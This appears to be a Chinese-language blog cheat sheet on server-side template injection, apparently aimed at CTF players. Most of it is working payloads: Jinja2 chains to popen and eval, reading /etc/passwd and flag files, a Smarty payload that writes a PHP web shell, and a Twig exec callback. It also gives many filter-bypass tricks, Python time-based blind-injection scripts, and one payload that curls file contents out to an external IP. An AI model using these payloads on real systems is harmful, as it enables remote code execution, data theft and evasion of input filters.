整理一下有关服务端模板注入(server side template injection)的东西
 
开局一张经典老图,判断类型:
 
 
 Python的一些特性  
在python中,有一些独特的特性:
python中的类均继承于object基类 
python中还有一系列的魔术方法,一些函数的实现也是通过直接调用魔术方法的,常用的魔术方法有:
__init__: 构造函数,一般是接受类初始化的参数,并且进行一系列初始化的操作 
__len__: 返回对象的长度 
__str__: 返回对象的字符串表示 
__getattr__: 对象是否含有某属性,等价于函数方法getattr(a, 'b'),相当于a.b 
__subclasses__: 返回当前类的所有子类,一般用于object类中,然后找到带有os的模块实现rce 
 
 
python的类中也有一些魔术属性:
__dict__: 可以查看内部所有属性名和属性值组成的字典 
__class__:返回当前对象所属的类,例如''.__class__会返回<class 'str'>。拿到类后就可以构造函数生成新的对象,如''.__class__(1234)等价于str(1234),即'1234' 
__base__: 返回当前类的基类,例如str.__base__就会返回<class 'str'> 
 
 
此外还有一些重要的函数:
__mro__ 返回一个包含对象所继承的基类元组,按顺序解析 
__globals__返回所有全局变量 
__builtins__ 包含当前运行环境中默认的所有函数,如str、chr等,可以通过拿到__builtins__,然后__import__('os').system('')进行RCE 
 
 
 
通过从变量 -> 对象 -> 基类 -> 子类 -> 全局变量的方式,就可以进行ssti
一般思路:寻找到object基类后,引入os._wrap_close,然后寻找popen即可进行
 一些参数  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 {%set  a="test" %}{{a}}  url_for  get_flashed_messages  url_for.__globals__['__builtins__' ]  get_flashed_messages.__globals__['__builtins__' ] current_app  {{url_for.__globals__['current_app' ].config}} {{get_flashed_messages.__globals__['current_app' ].config}} request  request.__init__.__globals__['__builtins__' ].open ('/etc/passwd' ).read() request.args.a  request.values.a  request.cookies.a  request.headers  request.form.a  request.data  request.json  config  {{config.__init__.__globals__['os' ].popen('dir' ).read()}} cyclet  
 
 payload  
 jinja2  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 '' .__class__.__mro__[1 ]{}.__class__.__bases__[0 ]  ().__class__.__bases__[0 ] [].__class__.__bases__[0 ] request.__class__.__mro__[x]  config.__class__.__mro__[x]  {{'' .__class__.__mro__[1 ].__subclasses__()[147 ]}} {{().__class__.__bases__.__getitem__(0 ).__subclasses__()[147 ]}} {{'' .__class__.__mro__[1 ].__subclasses__(137 ).__init__.__globals__['popen' ]('cat /f*' ).read()}} {{'' .__class__.__mro__[1 ].__subclasses__(137 ).__init__.__globals__['popen' ]('ls' ).read()}} {{'' .__class__.__mro__[1 ].__subclasses__(137 ).__init__.__globals__['os' ].system('ls' )}} {{().__class__.__base__.__subclasses__()[71 ].__init__.__globals__['os' ].listdir('.' )}} {{%27 %27. __class__.__mro__[2 ].__subclasses__()[258 ](%27cat%20flasklight/coomme_geeeett_youur_flek%27 ,shell=True ,stdout=-1 ).communicate()[0 ].strip()}} {{'' .__class__.__mro__[1 ].__subclasses__[59 ].__init__.__globals__['__builtins__' ]['file' ]('/etc/passwd' ).read()}}  {{[].__class__.__base__.__subclasses__()[59 ].__init____globals__['__builtins__' ]['eval' ]("__import__('os').popen('ls').read()" )}} {{{}.__class__.__bases__[0 ].__subclasses__()[59 ].__init__.__globals__['__builtins__' ]['__import__' ]('commands' ).getstatusoutput('ls' )}} {{lipsum.__globals__['os' ].popen['ls' ].read()}} {{lipsum.__globals__.get("os" ).popen('ls' ).read()}} {{lipsum.__globals__.os.popen('ls' ).read()}} {{url_for.__globals__.os.popen('whoami' ).read()}} {{get_flashed_messages.__globals__.os.popen('whoami' ).read()}} {{abc.__init__.__globals__.__builtins__.__import__ ('os' ).popen('whoami' ).read()}} {% for  c in  [].__class__.__base__.__subclasses__() %} {% if  c.__name__ == 'catch_warnings'  %}   {% for  b in  c.__init__.__globals__.values() %}   {% if  b.__class__ == {}.__class__ %}     {% if  'eval'  in  b.keys() %}       {{ b['eval' ]('__import__("os").popen("id").read()' ) }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %} http://127.0 .0 .1 :5000 /?id ={%for %0ai%0ain%0a"" |attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f" )|attr("\u005f\u005f\u006d\u0072\u006f\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )(1 )|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f" )()%}{%%0aif%0a(i|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f" ))=="\u0063\u0061\u0074\u0063\u0068\u005f\u0077\u0061\u0072\u006e\u0069\u006e\u0067\u0073" %0a%}{%%0aif%0a(i|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f" )|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f" ))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f" )|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f" )("\u0065\u0076\u0061\u006c" )("__import__('os').popen('curl http://47.xxxxxxx.241:2333 -d `cat /f*`').read()" )%}{%%0aendif%0a%}{%%0aendif%0a%}{%%0aendfor%0a%} 
 
 smarty  
smarty是一个基于PHP开发的php模板引擎,所以其payload与我们熟知的PHP命令执行十分相似:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 {{phpinfo ()}}  {if  phpinfo ()}{/if } {{readfile ('/etc/passwd' )}} {{show_source ('' )}} {{passthru ('ls' )}} {{system ('ls' )}} {{exec ()}} {{shell_exec ()}} {Smarty_Internal_Write_File ::writeFile ($SCRIPT_NAME ,"<?php passthru($_GET ['cmd']); ?>" ,self ::clearConfig ())} 
 
 twig  
1 {{_self.env.registerUndefinedFilterCallback("exec" )}}{{_self.env.getFilter("id" )}} 
 
 ssti绕过过滤  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 {{被过滤: 可以使用{%%}代替{{}} .被过滤: 参考官方原文: You can use a dot (.) to access attributes of a variable in addition to the standard Python __getitem__ “subscript” syntax ([]). 也就是说: {{''.__class__}} 相当于{{''['__class__']}} 除此之外,还有: Get an attribute of an object. foo|attr("bar") works like foo.bar just that always an attribute is returned and  items are not looked up. 也就是说 foo|attr("bar")相当于foo.bar 即 {{''.__class__}}相当于{{''|arrt("__class__")}} 常用于(.)和中括号([])都被过滤的情况 中括号([])被过滤: 可以利用getitem()来绕过: {{''.__class__.__mro__[2]}} 相当于 {{''.__class__.__mro__.getitem(2)}} 还可以利用pop方法获得值: pop通过删除字典给定值key所对应的值,返回值为被删除的值 当然,删除的话还是需要谨慎使用的,所以可以用比较安全的 get和setdefault 例如: {{lipsum.__globals__.get("os").popen('ls').read()}} {{url_for.__globals__.get('__builtins__')}} //或者是setdefault 当然,要是追溯回去的话,其实他们调用了魔术方法__getattribute__: "".__class__ 相当于"".__getattribute__("__class__") 
 
 对于关键字过滤:  
1、关键字的拼接
非常常见的方法,在python中ab是可以又'a'+'b'拼接而成的,也就是说:__class__ = '__cla'+'ss__'
例如:
1 2 3 {{'' ['__cla' +'ss__' ]['__mr' +'o__' ][1 ]['__subcla' +'sses__' ]()[137 ]['__ini' +'t__' ]['__glo' +'bals__' ]['po' +'pen' ]('ls' ).read()}} 相当于 {{'' .__class__.__mro__[1 ].__subclasses__()[137 ].__init__.__globals__['popen' ]('ls' ).read()}} 
 
但实际上在jinja2内,"cla""ss"等同于"class"
1 2 3 {{'' ['__cla' +'ss__' ]}} 也可以写成 {{'' ['__cla' 'ss__' ]}} 
 
2、关键字倒序输出、替换
简单地说就是类似于strrev()的操作,通过['__ssalc__'][::-1]输出__class__:
1 {{'' ['__ssalc__' ][::-1 ]}} 
 
1 2 还能够和__getattribute__一同使用: '' .__getattribute__('__cla' 'ss__' )
 
当然,倒序输出还可以使用reverse:
1 {{'' ['__ssalc__' |reverse]}} 
 
关键字替换:
1 {{'' ['__claee__' |replace('ee' , 'ss' )]}} 
 
3、ascii转换:
利用python的格式化字符串特性:
1 2 "{0:c}" .format (97 )='a' "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}" .format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )='__class__' 
 
1 2 3 {{'' ["{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}" .format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )]}} 相当于 {{'' .__class__}} 
 
4、编码绕过
hex编码、unicode编码、以及八进制都可以,例如:
1 2 3 4 5 6 7 8 9 10 11 hex :"__class__" =="\x5f\x5fclass\x5f\x5f" =="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" unicode: "__globals__"  == "\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F" octal: "__class__"  == "\\137\\137\\143\\154\\141\\163\\163\\137\\137" 对于python2的话,还可以利用base64进行绕过 "__class__" ==("X19jbGFzc19f" ).decode("base64" )
 
5、chr函数,前提是需要通过__builtins__找到chr函数:
1 2 3 4 5 6 {% set  chr =url_for.__globals__['__builtins__' ].chr  %} {{"" [chr (95 )%2bchr(95 )%2bchr(99 )%2bchr(108 )%2bchr(97 )%2bchr(115 )%2bchr(115 )%2bchr(95 )%2bchr(95 )]}} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(chr (47 )%2bchr(101 )%2bchr(116 )%2bchr(99 )%2bchr(47 )%2bchr(112 )%2bchr(97 )%2bchr(115 )%2bchr(115 )%2bchr(119 )%2bchr(100 )).read()}} 
 
6、jinja2内可以利用~进行拼接:
1 {%set  a='__cla'  %}{%set  b='ss__' %}{{"" [a~b]}} 
 
7、大小写转换
前提只是过滤小写:
 
8、attr
当然,前文已经讲过attr能够在同时过滤点号和中括号时使用了:
 
9、join
1 2 3 4 join单独拼接: "" [['__cla' , 'ss__' ]|join]或者 "" [('__cla' , 'ss__' )|join] 
 
10、利用请求方式绕过:
例如过滤了__class__
1 2 3 {{'' .__class__}} => {{'' [request.args.t1]}}&t1=__class__ {{'' .__class__}} => {{'' [request['args' ]['t1' ]]}}&t1=__class__ 
 
如果还过滤了 args,可以使用request['values']和attr结合绕过
1 2 {{'' .__class__}} => {{'' |attr(request['values' ]['x' ])}} 
 
 绕过中括号:  
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 __getitem__ pop(40 ) {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )(chr (47 )%2bchr(101 )%2bchr(116 )%2bchr(99 )%2bchr(47 )%2bchr(112 )%2bchr(97 )%2bchr(115 )%2bchr(115 )%2bchr(119 )%2bchr(100 )).read()}} {{().__class__.__bases__.__getitem__(0 ).__subclasses__().pop(40 )('/etc/passwd' ).read()}} join和getlist拼接: {{abc|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class &a=_&a=_ format {{"%s, %s!" |format (greeting, name)}} 例如 "%c%c%c%c%c%c%c%c%c" |format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )=='__class__' "" ["%c%c%c%c%c%c%c%c%c" |format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )]first、last、random first 返回序列的第一个元素 last 返回序列的最后一个元素 random 随机返回序列的一个元素 "" .__class__.__mro__|last()相当于"" .__class__.__mro__[-1 ] 
 
 获取单独字符:  
1、利用string:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 {{'' .__class__}} 返回<class  'str' > {{('' .__class__|string)[0 ]}} 返回< {{()|select|string}} => <generator object  select_or_reject at 0x000002E4286769E0 > {{(()|select|string)[24 ]~ (()|select|string)[24 ]~ (()|select|string)[15 ]~ (()|select|string)[20 ]~ (()|select|string)[6 ]~ (()|select|string)[18 ]~ (()|select|string)[18 ]~ (()|select|string)[24 ]~ (()|select|string)[24 ]}} => __class__ 
 
2、利用list配合pop
1 (()|select|string|list ).pop(0 ) 
 
 绕过config参数  
适用于一些题目中将flag设置在config中的题:
如果题目有app.config['FLAG'] = os.environ.pop['FLAG'],我们可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag
但是如果过滤了config,我们可以利用self来间接得到config:
1 2 3 {{self}} => <TemplateReference None > {{self.__dict__._TemplateReference__context.config}} => 同样能获得config 
 
 过滤下划线_  
利用编码绕过:
1 2 3 4 __class__ => \x5f\x5fclass\x5f\x5f 
 
 删除许多模块,但是没删除reload  
仅适用于python2,通过reload恢复所有被删除的模块:
 
 同时有大量过滤  
例如过滤:
1 下划线、点、反斜杠、单双引号、request等关键字、加号、中括号、数字、命令读取等 
 
思想大体是利用没有过滤的模块(可能如lipsum)来构造基础payload
比如没过滤lipsum,就可以先构造出基础payload:
1 {{lipsum.__globals__.get("os" ).popen('ls' ).read()}} 
 
然后再考虑如何构造出关键字
这就要利用到上文的获取单独字符的方法和字符串拼接的方法join进行拼接
然后利用内置的{%set%} {%print%}进行变量设置和打印
逐步组装关键字
然后用print打印结果即可
详情可以看flask ssti的新姿势这篇文章 
省流的话其实就是,利用{%set one=dict(c=a)|join|count%}获取到数字
利用pop方法获取到下划线:
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(three*eight)%}
再利用dict方法和join构造出__globals__ __builtins__等关键字
然后获取chr函数:
lipsum.__globals__.get('__builtins__').get('chr')
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(dict(chr=a)|join)%}
qwq
 ssti盲注  
盲注的困难在于没有回显,所以我们需要利用python的time库来进行时间盲注:
首先要获取到time库:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import  requestsimport  timeimport  sysurl="xxx?xxx="  res=""   for  i in  range (0 ,1000 ):     payload = "{" +"{" +"''.__class__.__mro__[1].__subclasses__()[" +str (i)+"].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(3)')"  + "}"  + "}"      start = time.time()     getp = url + payload     resp = requests.get(getp)          end = time.time()     print (resp.status_code)     if  end-start >=3 :         print ("bingo: " +str (i)+" " ,end="\t" )     else :         print ("nonono: " +str (i)+" " ,end="\t" ) 
 
获取到能够import的参数后,进行盲注:
不知为何用不了ascii和ord,只能做一点简单的情况分析了:
当页面传入\、"、'等特殊符号时都有可能会报错,所以这些要加上\转义(popen内的内容任意修改即可):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import  requestsimport  timeimport  sysurl="xxx"  res=""   for  i in  range (0 ,1000 ):     left=32      right=128      mid=(left + right) //2        while  (left < right):         if (chr (mid)== '\''  or  chr (mid) == '\"'  or  chr (mid) == '\\' ):             payload = "{%set n=''.__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag\").read()')%}{%if n["  +str (i) + "]<'"  +"\\"  + chr (mid) +"'%}{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%endif%}"          else :             payload = "{%set n=''.__class__.__mro__[1].__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"os\").popen(\"cat /flag\").read()')%}{%if n["  +str (i) + "]<'"  + chr (mid) +"'%}{{().__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']('__import__(\"time\").sleep(2)')}}{%endif%}"          print (payload)         getp = url+payload         times = time.time()          html = requests.get(getp)         timee = time.time()          keep = timee - times          time.sleep(0.2 )          if  keep > 2 :             right = mid         else :             left = mid + 1          mid = (left + right) //2      if  mid <= 32  or  mid >= 127 :         break      res+=chr (mid-1 )     print (res) print ("Final Results:" ,res) 
 
而且还有可能会多出一些东西,自己判断一下就好
 四处收集的payload  
1 2 {{lipsum.__globals__.__builtins__["list" ](lipsum.__globals__.__builtins__["o" "pen" ]("/tmp/fl" "ag" )["re" "ad" ]())}} 
 
某比赛利用request绕过
1 ?sentence={{(()|attr(request.values.a)|attr(request.values.b)|attr(request.values.c)()|attr(request.values.d)(132)|attr(request.values.e)|attr(request.values.f)|attr(request.values.d)(request.values.g)(request.values.h)).read()}}&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=popen&h=ls / 
 
 
参考文章:
服务端模板注入(SSTI) | micgo’s blog 
Y4tacker - SSTI模板注入及绕过姿势 
yu22x - SSTI模板注入绕过(进阶篇)